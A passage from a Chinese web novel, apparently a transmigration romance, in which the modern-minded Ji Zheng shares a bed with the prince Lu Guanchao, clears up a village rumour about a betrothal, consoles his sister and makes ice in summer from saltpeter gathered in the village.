不料天黑下来,自己的铺盖被陆观潮亲自一卷,丢到另一个屋里。 赵年站在门口,又眼睁睁的看着陆观潮抱着刚放去的铺盖,风一般的跑到季铮屋里。 他僵直了身子,动弹不得。 季铮经过他身边,奇怪道,“你怎么了。” 赵年张嘴,憋了半天也没发出一个声。 季铮歪头看了他一会,拍了拍他的肩膀,道,“我先回了,你早点来睡。” 屋内点了烛火,季铮心道,赵年这孩子一看就没愁过炭火,这蜡烛多贵,可不能随随便便的点着玩。 他捧起还没吹灭,耳边传来声音吓了他一跳。 “季铮。” 季铮惊疑不定的看去,只见陆观潮坐在塌边,脸上翻滚着说不清道不明的表情。 他眨了眨眼,“你干什么?” 陆观潮让出身边的位置,“睡觉。” 末了,他又补上一句话,“和我一起。” 26. 第 26 章 季铮没说话,往后几步挪到门口,回头看院中僵直身子站着的赵年,一双眼里全是困惑。 赵年尴尬的打了个招呼,“小季生员,晚安。” 殿下这样做一定有他的道理,万一是夜里也不肯放过,想好好劝说和季铮去幽州呢? 所以,赵年打过招呼后,一溜烟的钻回房里了。 那边,季铮吞了口唾沫,还没开口询问,就听陆观潮略带恼怒的声音传来,“你不愿意?” “哪有。”季铮只得折返回去,“只是好奇,殿下尊贵之躯,为什么要和我挤?” 陆观潮说不上来为什么,他虽不挑剔环境,也没有忆苦思甜的毛病,过的舒服自然最好,受些委屈也无妨,能用好的傻子才不用。 若放到别的地方,他绝对会欣然同意,可在这里,心中竟觉得季铮身边的一亩三分地,比什么软榻良屋要好得多。 在季铮出门的那一小段时间,陆观潮也想了,他或许是得了什么疑难杂症,而这病症的唯一良药是季铮。 不然为何他与赵年一起睡的这几个月浑身不舒坦,半夜几更天都睡不着,满脑子全是季铮乌黑的后脑勺,以及那人刚好一臂可以环抱的窄腰,又或是萦绕在鼻尖久久不散的青草香气。 说是青草香气也不具体,季铮身上就是有一股说不清楚,但却格外勾他的味道,不知什么时候开始,没那味道,他便心痒难耐,坐立难安。 陆观潮垂下眼,说不出个所以然。 他该如何说是好?他该如何亲近季铮才好? 季铮到底有没有把他放到心上,还是逢场作戏,不过因他免费帮忙且摆脱不掉罢了? 那可—— 太糟糕了。 刀架到脖子上时,辽军兵临城下时,陆观潮只冷着脸,平静到毫无波澜,面对这么一个等同于沧海一粟的问题,顿觉棘手,出奇的烦心郁闷起来。 稀奇,陆观潮自个都不敢相信,他本以为自己冷心冷血惯了,这颗心恐怕真和钦天监那老匹夫说的一样,被哪方妖魔鬼怪夺了去,换了个烂淤泥做的假心。 原来,假心也会跳动,也会委屈,也会嫉妒。 陆观潮又想,如果他不是珏王就好,就可以像陈昇一般与季铮卸下防备,坦诚相见吧。 他没绑发带,长发遮住双眸,肆意垂落,眼底泛着光,神色看不真切,配上那锋利的下颌线,居然显出几分脆弱阴郁来。 季铮坐在陆观潮身边,肘了他一下,歪头看他的表情问,“陆观潮,你在想什么?” 我在想你。 陆观潮抬眼,和季铮一双澄澈的眼睛对上,嘴巴仿佛被漫天神佛下禁锢封住了,一句句哀怨的话嚼碎了咽进肚子里。 他在想季铮要是死活不愿意去幽州怎么办,季铮万一脑子被驴踢了非要跟着陆泽怎么办,季铮成亲了怎么办,季铮和陈昇的关系好过他怎么办,季铮怕他煞星名号怎么办。 他问不出,只红着眼瞪季铮。 于是季铮更不解了,摸了把脸问,“我脸上有东西?” 千言万语,凝聚到一起,缩成短短七个字。 陆观潮闷闷道,“我想和你一起睡。” “……” 即使季铮再迟钝,也反应过来陆观潮的不对劲了。 他第一天和季铮睡的时候,那不情愿的劲,恨不得原地化成一根棍子,离季铮十万八千里远,要不是季铮拦着,翻个身能滚地上去。 如今不仅主动要求,还非挤着搂着才好。 季铮连声不都没说,陆观潮就摆出一副被渣男始乱终弃的无辜纯情单纯小可怜形象。 着实可爱,季铮仰天长啸。 啊——没有什么比高冷兄弟闹小脾气更可爱的了! 如果有,便是好兄弟调马甲后真实身份是当朝战神王爷! 这是什么电视剧爽文情节套路,季铮畅想来日,君临天下,笑傲江湖,手拉手陆观潮哈哈大笑说这都是我打给你的江山。 这才是穿越,废物系统滚一边去吧,他找到外挂了! 季铮美滋滋的想完,心甘情愿包容陆观潮一些小癖好。 比如,喜欢抱着他睡这一件。 季铮大方道,“可以。” 陆观潮追着道,“一直。” 季铮有些迟疑,硬着头皮答应,“也行。” 这黏人程度出乎意料。 陆观潮还不放心,又道,“只有我和你。” 季铮点头,“自然。” 一张床睡两个人还不够,睡三个人开party呢? 终于,陆观潮满意了,翻身蒙着被子低低笑了两声。 他身高体大,缩在被子里一大坨,像只营养过剩的毛毛虫,笑得身子一抖一抖的。 季铮上手扯了一下,实在想不通有什么好笑,能让陆观潮高兴成这样,他没拉动被子,干脆隔着被子道,“好了,天热,别闷到了。” 隔了一会,陆观潮才堪堪止住忍不住溢出的笑,他探出半张脸,下半张脸隐没在被子里,眉眼含着笑意,声音含糊道,“我困了。” 还有,我很开心。 像个小孩似的,甚至比小孩还好哄。 季铮无奈,抱着另一床被子躺下,“好吧,我们睡觉。” 没过多久,季铮快要睡觉时,一双有力的臂膀揽住他,接着是男人惬意的呼吸声。 陆观潮朝他的方向挪了挪,找了个位置靠着,安然睡去。 第二日起床,有一段时间没和陆观潮一起睡,季铮被压得腰酸背痛的,想动动手臂活动一下,才发现陆观潮正握着他的手腕死死不松手。 季铮越挣扎,陆观潮攥得越紧,梦呓着哼唧了两句“别想跑”。 昨日半夜太热,他好像迷迷糊糊的推开了陆观潮,模糊记得当时陆观潮应是醒了,盯了他老大一会。 正因如此,这才导致陆观潮没安全感,不肯放开他吧。 所谓人之常情嘛,季铮表示理解,倒是这天是一天比一天热了,已经到了不动弹也一身汗的地步,热到他想脱衣服裸奔。 那么,练糖的活可以停一停,先琢磨出来怎么制冰解暑是正事。 其实这事他早该提上日程,可手上活太多,一直没能闲下来,他忍耐力又强,穿越前曾顶着将近四十度的高温,在工地干过一个暑假完好无损,一天一支藿香正气水熬过。 穿越后身体大不如前,但经过他后天锻炼早已补了回来大半,平时陆观潮不让他做重活,往往刚想起没一会就忘了。 而且陆观潮和赵年身体素质太好了,在太阳底下暴晒也没中暑晒伤,可喜可贺。 若不 是昨日见季秧摇了一整天扇子,他怕是会继续拖下去。 季铮默默躺了一会,正发着呆思考具体流程,他曾了解过一些,到底是不够全面,生怕弄巧成拙反倒浪费力气东西。 有句名言说的好,实践出真知。 终归是要试试再说,以防万一,他戳了一下系统,“那个系统啊,你这里有没有比较贴合生活的奖励比如制糖,制冰啊这些。” 系统一如既往的沉默寡言,弹出来一个正在加载中后就没了声音。 季铮歇菜了,按照系统的尿性,大概率加载半天吐出来一句暂无实装,便抛到脑后不去管了。 这时,陆观潮总算醒了,他缓缓眨着眼,应是还没彻底清醒,在季铮的眼神示意下,慢吞吞的松开他的手腕。 没等季铮起身,陆观潮一个翻身把季铮重新压到身下,脑袋拱了拱,双手钳子似的搂住他的腰身,迷糊道,“再睡会,还早。” “睡就睡。”季铮嘟囔道,“搂着我干什么。” 陆观潮之前还惊慌失措,现在却习惯了贴着季铮,并格外坦诚,一点也不害臊。 他还是更喜欢那个面红耳赤,匆忙逃跑的陆观潮。 陆观潮言行不一,嘴上说着要睡觉,实则睁着眼睛看季铮,季铮被看得发毛,仅存的睡意消散干净,他转头和陆观潮对视。 不知道陆观潮想到什么了,忽然双颊一红,“我抱着你是不是不太好?” 季铮反抱住陆观潮,眼光炯炯,“这有什么的,都兄弟!” “呵。” 陆观潮冷笑一声,没了下文。 季铮满脑门问好道,“不满意?那好吧,我让让你,你当大哥。” 陆观潮嗖的起身,穿衣离开了。 好烦! 可他再烦什么? 他不是想和季铮交友吗,怎么心想事成了还是不舒心? 人怎么会贪心成这样。 陆观潮当的那枚玉佩换了不少钱,除去盖房还剩了许多,季铮前几天收拾好攒了起来,轻易不敢去碰,琢磨着该赚钱给人吧玉佩赎回来。 卖冰是一条门路,正值收黍米的季节,太阳不见丝毫避让,大剌剌的照着人晒,不中暑也得退层皮,他收的便宜些,市场是有的。 说起黍米,季铮还要去问问黍米贩卖的价格。 大周每年收两季税,若粮不够,可用布匹牲畜抵,再不济给官府干活,若粮多了,自行叛卖不受管制,虽没有官府收购,但整体处于一个轻松合理的范围,只不过别的地方就不得而知了。 他考中生员免除徭役赋税,种出的粮食都在自己手上,自己吃是吃不完的,要卖一部分。 天才蒙蒙亮,赵年和季秧还没起身,元元瘫在地上舔毛,见陆观潮出门象征性的喵喵叫了几声。 陆观潮舀了一碗凉水下肚,真正的清醒了。 他回头看了眼门的位置,心道,好友之间不该这样,最起码不会抱着睡觉。 要收敛一些。 季铮捋好后起身,脑海里骤然响起系统的声音。 【发布主线任务:走亲访友。】 【请结交至少十位大周人,达到值得深交的评判。】 【奖励:肥皂制作明细。】 【当前人物进度9/10,请继续努力。】 27. 第 27 章 季铮起身的动作停滞一瞬。 还真有?! 这任务等同于好感任务,所谓值得深交,听名字应该是好感较高的分类。 他急忙展开人物清单,除去陆观潮,季秧,陈昇姐弟,赵大爷这些平日里相处时间久的,竟还有赵年和李家父女。 赵年不愧是能跟着陆观潮一路从幽州辗转云州的人物,主仆一体,主子喜欢谁,自个就喜欢谁。 至于李家父女,他自认没帮上他们忙,反而一直在叨扰,能得到如此好感实在意外。 其中一个人名十分陌生,陌生到甚至是季铮绞尽脑汁才从记忆里找出对应的人。 孟仲,季秧曾务工的主家小姐,这是为何? 季铮没想明白怎么得了孟家小姐的青睐,许是看在季秧的面子上罢。 如今看来,只差一位就能获取肥皂配方。 而肥皂,是每个时代上流社会的硬通货,会有多畅销季铮想都不敢想。 季铮乐呵呵的戳了系统问,“交友有要求吗?” 毕竟他和赵大娘,邻村的姐姐妹妹,叔叔婶婶关系都不错,却没有一个人在名单上,这交友名单必然是有前提条件的。 果不其然,系统弹出聊天框,【评判前提:交友人员需留名青史,在后世收录的正史中有十字及十字以上评价。】 这一个村子里人才辈出啊。 江山英雄如过江之鲤,天才云集,别说正史野史,能留下姓名者都烧了高香了,更何况这乃是十记载。 季铮不免惊奇,他这是捅人才窝了? 这不是重点,重点是赵大爷居然也在名单上,连连惊叹人不可貌相。 系统不多说话,弹出来几句后就消失不理人了。 季铮在原地兴奋一会后,灵光一闪,对下一个结交的人有了想法,依系统前几次任务的经验来看,既然给出这个任务,那必然是他能完成的。 隔壁几个山头的人季铮多少都有相处,他深谙多一个朋友多一条路的道理,能搞好关系的都搞好关系了。 其他的,只有村外的人了。 季铮飞快收拾好出门,出门正巧对上陆观潮的视线。 他心情很好的道了声招呼,“早啊,” 陆观潮看着季铮,耳朵里环绕着一声声: 收敛,收敛,要收敛。 于是,他别过头闷声道,“早。” “?” 季铮凑过去,“你心情不好?” 这又是发什么小脾气呢? 刚才不还好好的吗,季铮可惜道,“我还想让你陪我去见一个人,这下如何是好,你愿意将赵年借给我吗?” “什么?” 陆观潮眉头拧起,“你又要去见谁,陈昇一个还不够?” 幽州人尽皆知,珏王殿下耐力极强,做人做事很有原则,即便倒下晕过去也得坚持做完要做的事。 而今难得破了规矩。 他才做下决定,半个时辰都没有,仅因为季铮一句话,顿时丢到一边烟消云散了。 收敛收敛,还收敛个屁,季铮都要和人跑了。 季铮眨眨眼,“到时候你就知道了,怎么样,舍不舍得把赵年借给我?” 陆观潮气急了,伸手抓住季铮肩膀的手微微发抖,似乎是怕他跑一般,半天憋出来,“你……你!” 你个呆子,当真看不出我心中郁结吗,当真猜不出我的心思吗? 陆观潮愤愤想着,季铮是全天下最傻的傻子,脑子读书读傻了! “我怎样?”季铮只觉莫名其妙,“你不愿陪我,也不愿借赵年,那好吧,我自己去总行吧。” 他撇嘴,“可这子瘦山山高路远,野兽遍地走,杂草成堆长,万一我失足跌落,小命不保了也没关系。” 陆观潮外表狠厉,心底一向软乎,不然也不会捡只猫都细心养大,想当初在幽州捡到芳芳,那可是百忙之中一口一口亲自奶大的,战场在马背上也随身揣着。 他不忍心看季铮唏嘘长叹,抿着嘴纠结半晌还是点头应了。 还有,他很好奇子瘦山上到底是什么人,值得季铮跑一趟。 赵年比季秧先起,出门看到两人一惊,“殿下,季生员……啊,陆哥季哥。” 他没这么叫过,说着有些拗口,尤其是对着陆观潮,认为不符身份,都不敢抬头。 索性陆观潮一门心思在季铮身上,没计较这称呼,叫赵年自在不少。 季铮拂开陆观潮搭在他肩上的手,招呼道,“趁着天还早,我们去田里收粮食?” 陆观潮本来没用多大力气,轻飘飘的脱离季铮的肩,他盯着自己的手发呆,不知道在想什么。 赵年忙点头,“好好好!” 一路上,有不少熟人侧目,笑眯眯的看季铮,语气很不对劲,像是有什么深意,季铮笑得僵硬,悄悄问陆观潮自己是不是穿着不妥。 陆观潮还真听话停下仔仔细细的看季铮,末了他道,“并未。” 赵年也应承道,“或许不是衣着的问题?” 季铮摸不到头脑,干脆叫住一个笑得最不怀好意的人,“劳驾,姑娘是有事要说吗?” 这手挺会拦,拦下的小女娘他认识,是向他介绍李当归的窈娘。 窈娘一努嘴,不情愿道,“没什么事,季阿哥生得俊俏,还不叫人看吗?” 季铮摸了把下巴,他帅到如此境地了吗! “姑娘。”陆观潮尽量摆出一个还算温和的表情,前走一步拦在季铮身前,“还是要好好说话才对。” 季铮不明所以,踮脚从他宽厚的背影里探出脑袋,拉了他一下,“别这么对小姑娘说话,太凶了!” 陆观潮偏头,轻咳一声,“抱歉。” 窈娘一跺脚,不满道,“季阿哥虽考中生员,但也不该四处留情,李家姐姐性情温良不爱计较,你怎么能失信于她?” “我?” 季铮一懵,脚下没站住,险些原地摔一跤,好在陆观潮即使扶了一把。 他攀着陆观潮的手臂站稳,不敢置信又问,“我,失信,她?” 失信她什么了! 陆观潮拽住季铮要收的手,替他问出来,“你这是何意?” 季铮交友是不知分寸了些,可也不似她说的这般。 窈娘环胸而立,不平道,“还好李家姐姐去大都了,不若被你欺骗,最终还要嫁给沈屠户该有多难受。” 季铮恍然反应过来,看来是李娘子走的急,没来得急解释清楚,他哭笑不得,“你误会了。” 窈娘一顿,问,“什么意思?” “不管你想的 什么。”季铮道,“这都是一场误会,他要与沈屠户成亲,还是我与她的谣言,都是误会,具体的她不在这,我不便透露,你只要知道李娘子并未受委屈就行。” 李当归的确没明确说过和季铮相亲的是为真,窈娘信了八分,但拉不下面子,固执道,“谁知道你是不是骗人的。” 季铮叹气道,“我何故要骗你啊?” 他们在大路上,田里家里往来都要路过,周遭有好事者停下围观,不免有窃窃私语的声音,季铮一眼瞧见一个人,仿佛看到了救星,冲出将那个妄图挤过人群的人捉来。 李大夫拉紧背着的药篓,一双眼睁的溜圆,“干干干干什么?!” 季铮好声好气道,“又打搅您了,真对不住,但着实需要您帮个小忙,拜托。” 陆观潮则冷哼一声,不等李大夫同意,直言问出来,“你私自于李家娘子定亲,是与不是?” 人孰不要面,李大夫自知做了错事,涨红了脸,续的小胡子气得一抖一抖的,“什么是私自,父母之命媒妁之言,天经地义。” 窈娘来气了,她急道,“她是你女儿,又不是你采的药草,可以随手变卖。” 李大夫嘴里有话说不出,以至于他没这个意思,倒显得像这意思了,一瞬间取代季铮成为众矢之的,也有曾经没钱买药,受过他照付的人说几句好话,却没掀起什么水花。 赵年新奇的对陆观潮发表看法,“这可是比朝廷上那些大臣门吵架有趣多了!” 陆观潮扫他一眼,心情不好没说话。 季铮头疼极了,他把李大夫拉来是为了解围,怎么还又拉进来一个。 他道,“好了好了,李大夫不善言辞,我来说。” 季铮拍着李大夫的肩,哄着人一五一十把事情经过讲了,人群了解了前因后果,有觉得无趣唏嘘离开的,也有不好意思主动道歉了。 终归是告一段落了,李大夫脾气是真倔,能教出李当归这般女儿真是稀奇,他向季铮一颔首就要干自己的事去。 季铮追问,“请问,那位沈屠户住在何地?” 李大夫略一思索道,“沿着小溪一路向上就是。” 这个名字一出,陆观潮警觉起来,季铮要见的就是这人? 等人走了,方才溜走的窈娘又折返回来,支支吾吾的对季铮道,“对不住,是我误会你了,季阿哥要报官要怎样都无妨。” 季铮笑道,“报官不至于,我就想问问谁告诉你的。” 窈娘看样子不大想说,是个仗义姑娘,季铮也不强求,正要摆手道一声没事让人玩去,下一秒窈娘良心不安,犹豫着道,“是季秧阿姐说的,会劝你和李家姐姐接触。” 闹半天是自家妹妹。 窈娘懊悔的捏着发尾,“我没听懂她弦外之意,满脑子帮李家娘子了,怨不得季秧阿姐,是我着急了。” 季铮看着窈娘,幻视季秧曾经战战兢兢的模样,即便有气也都消了。 季秧不会拒绝人,这不是她的错,是他这个做哥哥的失职。 季铮安慰道,“我知道了,没关系,你也是好心,与你没关系。” 得了这句话,窈娘松一口气,点点头才肯走。 这一幕投到一边陆观潮眼里,他咬紧牙关,气都气笑了,为什么总有人和他抢季铮! 28. 第 28 章 如今他们有三个人,干起活来轻松不少,叫周遭人们羡慕了好大一会。 不过陆观潮还是固执的不让季铮帮忙,他只得坐在树荫下,和往相熟的人东扯扯西扯扯。 为了打发时间,一边聊天,手上不得闲暇,编了一地的草蚂蚱,遇见小孩就给发一个,不一会身边就围了不少跟着爹娘来帮忙的小豆丁,吵着要蝴蝶螳螂。 季铮闲着无趣,便一一应下,小孩子难免无法控制贪欲,有了一个看别人的漂亮就想要下一个。 几个幼童在季铮耳边东一句西一句叫嚷,他被闹得没办法,手上动作快了几分。 直至地上的草不够用了,季铮惋惜道,“哎呀,没有了,我下回再给你们编……” 他拍了拍衣服粘的草屑,抬头看了眼日头,觉得时候不早了改回去吃饭了,伴着孩童难过的抱怨声还没起身,下一秒,一捧新干草落到他面前。 陆观潮道,“给你,编着玩吧。” “?”季铮干笑两声,看陆观潮神色自然,仿佛真以为他是因为没草了才不编的,雪中送炭来了。 孩童见又有草了,扯着季铮的衣摆把他拉回去,凑到他身边期待着。 季铮无奈,埋怨的瞟了眼陆观潮,指尖翻飞一只草兔子编好,被孩童挣来抢去。 陆观潮看了一会,蓦然红了耳尖,他轻咳一声,“我也要。” “什么?”争抢声太吵,季铮没听清,追问,“你刚才说什么?” 陆观潮指着他手上编了一半的草兔子道,“我也要,这个兔子。” “哄小孩子玩的。”季铮笑道,“你又不是小孩子,要什么?” 陆观潮没说话,直愣愣的站了一会就走了,走之前,把自己刚特意给季铮找来的干草一脚踢飞了,留下一个雄赳赳的背景。 季铮手上捏着短短一截,哭也不是笑也不是,小孩子想要的紧,自发把踢散的草收集起来。 “殿下,您还好吗?”赵年叫住陆观潮,也不知道和季生员说了什么,自从回来后干起活愈发不要命,手下镰刀挥舞着像是在砍人脑袋。 陆观潮脸色阴沉的可怕,他恶狠狠道,“我很好。” 好样的季铮。 小白眼狼,他累死累活,连个草兔子都讨不到,即便是陆泽都没这么对他。 赵年默默咽了口唾沫,殿下这几日的小脾气格外多。 好不容易打发完一群小孩,季铮正想叫陆观潮赵年回家,远远看见一个人影来了。 季秧提着篮子怕饭撒了不敢跑,和季铮招了招手,快到头了才抱住篮子小跑过来。 “阿哥。”季秧喘着气道,“我给你们送饭来了。” 有回家的农人瞧见夸了几句,季秧脸红扑扑的,不好意思的答谢。 季铮忙结果篮子问,“你吃了没有?” 季秧点点头,手中被塞了一个草蝴蝶,枯黄的干草却衬得这只蝴蝶多了些许贵气,在太阳底下活灵活现。 她不解道,“给我做什么?” “拿着玩吧。”季铮道,“那些个小孩抢着要,偷着给你留了一个。” 好,很好。 陆观潮攥紧拳头,骨关节咔咔作响,显然是季铮这番话伤到他了。 他不是小孩,季秧就是了? 季秧送了饭,欲言又止要说什么,眼光闪烁不看季铮。 季铮能猜出是什么事,应是窈娘和小姐妹通气,将今日早上的事告诉她了。 他把篮子给赵年,让两人先吃,自己折返回去称还不饿,打着教她编蚂蚱的名头,等她的后话。 季秧本性直爽,后天养成的胆小性子,骨子里是敢作敢当的,她憋了一会,深深吐出一口气,道,“阿兄,是我给你添麻烦了,我不该为了一点私情,随口答应他们,全然不顾你的感受,事后也不和你商议自己做了决定。” 季铮静静听着,末了问,“知道错了?” 季秧垂头嗫嚅道,“对不住。” “知道错哪了吗?”季秧没说话,季铮接着道,“错在答应了却没有做到,错在不坚持自己的看法,居然来向我道歉。” 季秧泪珠掉了一半,挂在脸颊上,懵懵的看着季铮。 季铮摸了把季秧的脑袋,解释道,“要做就去做,不要管他人的感受,达成自己的目的才是第一位,你有无数种办法做成,可你没有做。” 季秧道,“是我怯懦?” “是你善良。” “我的意思是说。”季铮道,“你很好,所以顺从本心,做什么都没关系,一切有阿兄在。” 所以,趁还年少,多肆意潇洒些日子吧, 送走勉强止住泪水的季秧,季铮和他们吃饭,稀奇的是,两人每一个先吃,默契的等季铮。 他坐下,问,“不是让你们先吃吗?” 陆观潮答非所问,道,“你未免太骄纵她了,犯了错理当要罚。” 季铮将饼子分给赵年和陆观潮,叹道,“要看情况啊,有些人知错就改,不该多苛责,有些人固执,若对,便不该多牵扯他,若错,才该处罚教导。” “季秧明事理,懂是非,我若强行训斥,才会得不偿失。” 季铮耸耸肩,“更何况,我不想让她怕我,她该是个无拘无束,自由大胆的人,那李家娘子的确遇到难处,她凭一腔热血,我反而要夸奖她。” 陆观潮沉思片刻,很轻易的就接受了季铮的想法,“也有一番道理,是我处事强势了。” 季铮又道,“人非圣贤,孰能无过,和因材施教是一个道理,夸奖和惩罚也要判断后了再结合实际情况决定,所谓法外有情。” 赵年眼一亮,“好一个法外有情,若天下官府亦可以遵循,那岂不会少许多冤情?” “这是你的想法?”陆观潮思索道,“倒是有趣,未尝不可一试。” 季铮心底咯噔了一声,都是陆观潮太平易近人,他差点忘了身边这位是珏王殿下,看他的态度,这些话很有可能被采纳,他打着哈哈道,“我胡乱说的,不必放到心里。” 陆观潮狡黠一笑,“晚了,我已经入耳了。” 吃到一半,赵年说要如厕,他走后季铮忽的抛给陆观潮一个毛茸茸的小玩意。 陆观潮接住定睛一看,是只狗尾巴草编的小兔子,他一顿,兀自笑出声。 季铮在陆观潮耳边道,“别被赵年瞧见了,不然你这个年纪还要玩具,王爷的脸面往哪放?” 他眨眨眼,“以后喜欢什么私下和我说就行,当着那么多人的面,也不嫌害臊。” 陆观潮想说,他现在就觉得害臊。 好罢, 看在这兔子还算顺眼的份上,他勉为其难原谅季铮了。 陆观潮收好兔子,也体验了一把什么是蛮横无理,“还要蝴蝶,和蝈蝈。” 季铮气道,“贪得无厌。” 贪得无厌,陆观潮第一次听到这个词来形容自己,竟还不是贬义。 他从镇南候那学的是松弛有度,取舍自然,没人这么说他,他也不会这么干。 至于为何就对着季铮无理取闹了,陆观潮想,大抵是他认定了季铮脾气好不会拒绝他罢。 因此,季铮但凡拒绝他,他会加倍难受。 虽说他们力气够大,但在能晒掉人一层皮的太阳下做活,必然是受不了的,效率自然而然降了下来。 与此同时,季秧制冰计划提上日程。 他只有陪陆观潮干活的作用,这几日不再跟着去地里,专心致志的……蹲在茅厕。 并挨家挨户的借茅厕,弄得村里人一度认为他失心疯了。 在季铮解释了有用处后,村里人不理解,但还是热心肠的帮忙,尤其是窈娘,不知道她下了什么决心,送了不少来。 而季铮要找的,是硝,古法制冰的重要用物之一。 这点量不够用,他又跑到山上找硝土,一连半个月天天不着家,陆观潮每次回来都不见人影,问他也不说,郁闷了良久。 终于一天,季铮攒够了东西,不仅如此,还走大运额外挖出来几块硝石,可喜可贺。 他没经验,循着模糊的记忆摸索着捣鼓,好在有季秧一起,过程谈不上艰辛。 有充足的材料,第一桶冰赶在收割完前顺利产出,原材料还剩了许多。 季秧好奇的盯着不规则的冰块看,依然震惊无比,奇道,“这东西还真能做出来冰,世上还有如此宝物!不枉费阿兄如此辛苦。” 她崇拜的看着季铮,“阿兄,你是不是天神下凡啊?” 季铮被逗笑了,“哪有这么玄乎,这都是有据可依的。” 他尽量找了季秧能听懂的意思和她简单讲了讲,季秧悟性好,懂了后崇拜不减反增,“原是如此,神奇神奇!” 第一桶的产出不多,两三个人的量,季铮想着下次多做些再分给村里人,没宣扬出去。 他先取了些给赵大爷一家送去,嘱咐了不要透露,又给季秧分了一半摆在屋里降温,剩下的削成薄片,做了三碗刨冰,家里没什么浇头,采了些小野果熬成果浆充数,味道说得过去,胜在纯天然。 季秧捧着碗吃的津津有味,一个劲的劝季铮尝尝,季铮见此就放心了,带着两碗给陆观潮他们送去。 正是午饭的时间,地里没人,陆观潮好久没见季铮给他送饭了,欲要发个脾气以确定自己的地位还在。 比如不吃饭让季铮猜什么的。 没成想食盒打开,凉气扑面而来,瞬间缓解了火辣辣的面皮,陆观潮舍不得不吃了。 陆观潮道,“这是什么?” “冰,给你们的。”季铮摸摸鼻尖,“我这几天一直在弄的东西。” 陆观潮吃惊,难为他眼睛挣得那么大,他不可置信道,“你做的?” 季铮点点头。 陆观潮又问,“冰?” 季铮又点点头。 陆观潮一阵恍惚,他这是碰上了个什么好宝贝。 29. 第 29 章 赵年捧着冰,吃也不是,不吃也不是,小心翼翼的看陆观潮的脸色。 这冰实在诱人,这日头如此毒辣,来上一口必然舒服的仿佛是活神仙,可一来,殿下开没松口同意,他怎好先主子一步食用。 二来,这冰何足珍贵,殿下节俭,他跟着陆观潮十年了,从冷宫到皇子所,再到幽州军营,大都府邸。 年年夏日,无论是热的能死人还是如何,他从未见过陆观潮身边有冰,宫中的份例自动忽视这位煞星珏王,就别提军中本就条件艰苦吧,难得的一份还是镇南候送的。 再说,这可是季生员做的,来日被奉为幽州座上宾的季生员,会为幽州百姓将士多少福报还未有定数,这般良人,他为其干活是天经地义,哪敢提辛苦,要报酬? 该紧着季生员先用。 季铮久久不见两人开动,不禁自我怀疑,难不成是卖相难看,两人下不去嘴? 不对啊,陆观潮不是说军中日子艰苦吗,老鼠也能面无表情吃下,他这一碗冰不过是化了些,色泽依旧,果浆熬的颜色正好,吃起来或会差强人意,但外表一定差不到哪去。 他问道,“为何不吃?” 陆观潮直愣愣的盯着季铮,道,“这该叫我如何安心吃。” 他一直想不通,为什么季铮会对他这么好。 因为他力气大会干活,那为什么不对赵年这样? 因为他的身份地位,可季铮知道前对他也很好。 因为恐惧他的煞星谣言? 这就更不可能了,季铮最不信神佛鬼怪。 那么为什么呢。 脸? 陆观潮抹了一把脸,下意识遮住眼尾一颗痣。 钦天监的人说,眼尾痣克君,也克妻。 他曾经会想办法遮住,如今手中没工具,从没遮过一次,想来季铮不大在意。 季铮上手将碗向陆观潮嘴边推了推,力气不小心大了,冰水溅起,落到陆观潮唇边。 他道,“不好意思,我已经做了,你就尝尝,当给我个面子。” 陆观潮反问,“你吃过了?” 季铮摇头道,“还没,做的不多,你们干活了,季秧是女孩子,我自然要排到后头。” 赵年听闻,忙要把手上这一份给季铮,“季生员,您用吧,我不热。” 陆观潮也直勾勾的看着季铮,像是不理解他为何会这般舍己为人。 人有私心,这才正常。 两碗冰堆到季铮面前,他无奈接过,一碗喝了一口,半真半假道,“我肠胃不好,喝了会拉肚子,所以才做自己的份,好了,我已经吃过了,你们可以安心了吧。” 他肠胃不好是真,无论前世今生,这具身体秉持着风骨,家里没钱也瞎讲究,长时间不规律饮食自然而然好不到哪里去,也就是季铮前世胃疼多了,忍耐力强,不然三天两头的要闹一场。 陆观潮有些诧异,“你有胃病?” 不怪他吃惊,季铮平日活蹦乱跳,瞧上去活泼健康的紧,竟然是个身体娇贵的主? 季铮道,“无碍,一些小毛病。” “这怎么能是小毛病?”陆观潮急道,“发作了你就忍者,这怎么能行,岂不是会越拖越严重?” 季铮被这一连串的话砸晕了,弱弱道,“这不是重点吧,你低头看看,冰好像快要化成水了。” 最终,赵年得了两碗冰热泪盈眶。 季铮被陆观潮带去找李大夫开了两副药。 陆观潮冷着脸道,“我从不苛待身边人,既知道你的情况,往后我会多注意的。” 季铮攥着药包,心情竟出奇的平静。 他道,“谢谢。” 心里想,胃病哪里是容易养回来的,不过这话格外中听,陆观潮还真是个不同寻常的人。 马车碾过官道,在城门停下,车夫下车,将御医属签发的文书递上去,守城将士没有多言,检查是真后利索放行。 车子重新启动,驰入长街,李当归掀起车帘朝外看,抬眼险些没望到城门上刻的大都两字。 往前是热闹的市井风华,比吴阳镇还是卫镇都热闹,一眼看不到头,满目行人的黑脑袋涌动着。 李当归新奇的观察着,她第一次见这么多人,怕是把临沂村的人都聚集起来,也不到这条街上的十之五六吧,这么宽大的马车,要如何走过去呢。 车夫道,“姑娘,这里不必别处,您还没仪亲,不便露面,进城了把帘子放下吧,大人在宫中做事,最看重规矩,也省得给大人找麻烦。” 李当归心头一紧,悻悻放手缩了回去。 大都的规矩真麻烦。 车夫将她安置在李不言置办的小宅子,有两三丫鬟婆子,她不能出门,在村里还能约人去玩,和父亲拌嘴,在这没人和她说话,丫鬟婆子除了规矩其他闭口不谈。 据说陛下体弱,连带着李不言回不了家,守在陛下寝宫外夙心夜寐,一把一把银票送回家,不见人捎口信说何时归家。 李当归捏着医术发呆,犯嘀咕道,困在宅子里钱使不出去,再多有什么用,陛下真是的,自个身子弱也不让别人安生。 她这个念头才出,心头漏了一拍,四下看身边的人,确认没说出声后,忙顺了顺胸口。 好险,差点给阿兄闯祸了。 陆观潮得知季铮有胃病前就不让他干活,得知后此怜爱之心愈演愈烈,日常琐事上尤为关怀,这位没享受过一天看顾的千金之躯,照顾起人来意外得心应手。 季铮很想说,胃疼和睡多久没关联,早上起床故意不叫他不会让他缓和几分。 可惜陆观潮没有这种思想觉悟,无论季铮说了多少遍也不听。 还有一点,让堂堂王爷为他左右奔波,甜蜜的负担啊—— 他们本就没种多少粮食,几天的功夫就收割干净了,又过了几天去壳取粟米的日子。 应是工作繁琐,这次陆观潮倒没拦着他干活,季铮有了事做,大展身手忙活了几天,粟米细小的壳扎进手里发痒也不在意,因晚上累得倒头就睡,没有回答陆观潮每日例行问话,而遗憾被剥夺工作权。 季铮抗议道,“季秧也在做,我一个四肢健全的男子有什么脸面躲懒,说出去让人笑话。” “没人笑话你。” 